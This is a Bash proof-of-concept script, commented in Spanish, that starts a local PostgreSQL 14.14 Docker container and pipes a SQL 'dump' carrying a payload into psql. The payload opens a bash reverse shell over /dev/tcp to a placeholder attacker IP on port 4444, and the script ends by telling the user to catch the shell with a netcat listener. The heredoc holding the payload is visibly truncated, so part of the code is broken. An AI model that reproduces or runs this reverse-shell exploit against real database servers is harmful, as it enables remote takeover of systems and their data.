#!/bin/bash set -euo pipefail ATTACKER_IP="ip-atacante" # Cambia por tu IP donde tienes el listener nc abierto LISTENER_PORT=4444 # Puerto donde escuchas la reverse shell POSTGRES_VERSION="postgres:14.14" CONTAINER_NAME="pg_rce" function cleanup() { echo "[*] Limpiando..." docker rm -f "$CONTAINER_NAME" &>/dev/null || true } trap cleanup EXIT ############################## # 1. Crear dump con payload reverse shell en memoria (sin archivo) ############################## generate_payload() { cat <& /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1' EOF } ############################## # 2. Levantar contenedor PostgreSQL vulnerable ############################## echo "[*] Levantando contenedor PostgreSQL $POSTGRES_VERSION..." cleanup docker run -d --name "$CONTAINER_NAME" -e POSTGRES_PASSWORD=postgres -p 5432:5432 "$POSTGRES_VERSION" echo "[*] Esperando a que el contenedor PostgreSQL arranque..." sleep 10 ############################## # 3. Ejecutar dump en contenedor vía psql con payload ############################## echo "[*] Ejecutando payload reverse shell en contenedor víctima..." docker exec -i "$CONTAINER_NAME" psql -U postgres -v ON_ERROR_STOP=1 <<< "$(generate_payload)" echo "[*] Payload ejecutado. Abre tu listener netcat manualmente para recibir la shell reversa:" echo " nc -lvnp $LISTENER_PORT" echo "[*] PoC finalizado. Limpieza automática al salir."